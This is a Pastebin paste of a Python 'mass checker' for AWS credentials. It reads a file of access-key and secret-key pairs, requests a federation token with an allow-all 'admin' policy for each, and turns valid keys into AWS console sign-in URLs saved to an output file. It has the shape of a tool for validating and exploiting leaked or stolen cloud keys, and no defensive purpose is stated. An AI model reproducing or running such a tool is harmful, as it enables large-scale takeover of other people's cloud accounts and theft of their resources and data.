Advertisement
JamesBops

Untitled

Dec 16th, 2023 (edited)
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.67 KB | None | 0 0
  1. import boto3
  2. import urllib.parse
  3. import json
  4. import urllib.request
  5.  
  6. FEDERATION_URL = "https://signin.aws.amazon.com/federation?Action=getSigninToken&%s"
  7. SIGNIN_URL = "https://signin.aws.amazon.com/federation?Action=login&Destination=https://console.aws.amazon.com&SigninToken=%s"
  8.  
  9. def check_credentials(access_key, secret_key):
  10. try:
  11. client = boto3.client(
  12. 'sts',
  13. aws_access_key_id=access_key,
  14. aws_secret_access_key=secret_key,
  15. region_name='us-east-1'
  16. )
  17. response = client.get_federation_token(
  18. Name='admin',
  19. Policy=json.dumps({
  20. "Version": "2012-10-17",
  21. "Statement": [
  22. {
  23. "Sid": "Stmt1",
  24. "Effect": "Allow",
  25. "Action": "*",
  26. "Resource": "*"
  27. }
  28. ]
  29. }),
  30. DurationSeconds=3600
  31. )['Credentials']
  32. return {
  33. "access_key": response['AccessKeyId'],
  34. "secret_key": response['SecretAccessKey'],
  35. "session_token": response['SessionToken'],
  36. "valid": True
  37. }
  38. except Exception as e:
  39. return {"valid": False, "error": str(e)}
  40.  
  41. def get_console_url(access_key, secret_key):
  42. token = check_credentials(access_key, secret_key)
  43. if token["valid"]:
  44. try:
  45. url_data = urllib.parse.urlencode({"Session": token})
  46. with urllib.request.urlopen(FEDERATION_URL % url_data) as res:
  47. token = json.loads(res.read().decode("utf-8"))["SigninToken"]
  48. result = f"Access Key: {access_key}, Secret Key: {secret_key}, Console URL: {SIGNIN_URL % token}"
  49. print(result)
  50. return result
  51. except Exception as e:
  52. return str(e)
  53. else:
  54. result = f"Invalid credentials - Access Key: {access_key}, Secret Key: {secret_key}, Error: {token['error']}"
  55. print(result)
  56. return result
  57.  
  58. def mass_checker(input_filename, output_filename):
  59. with open(input_filename, 'r') as input_file, open(output_filename, 'w') as output_file:
  60. for line in input_file:
  61. access_key, secret_key = line.strip().split(',')
  62. result = get_console_url(access_key, secret_key)
  63. output_file.write(result + '\n')
  64.  
  65. if __name__ == '__main__':
  66. input_filename = input('Enter the filename containing AWS credentials (each line in the format "access_key,secret_key"): ')
  67. output_filename = input('Enter the filename to save the results: ')
  68. mass_checker(input_filename, output_filename)
  69.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement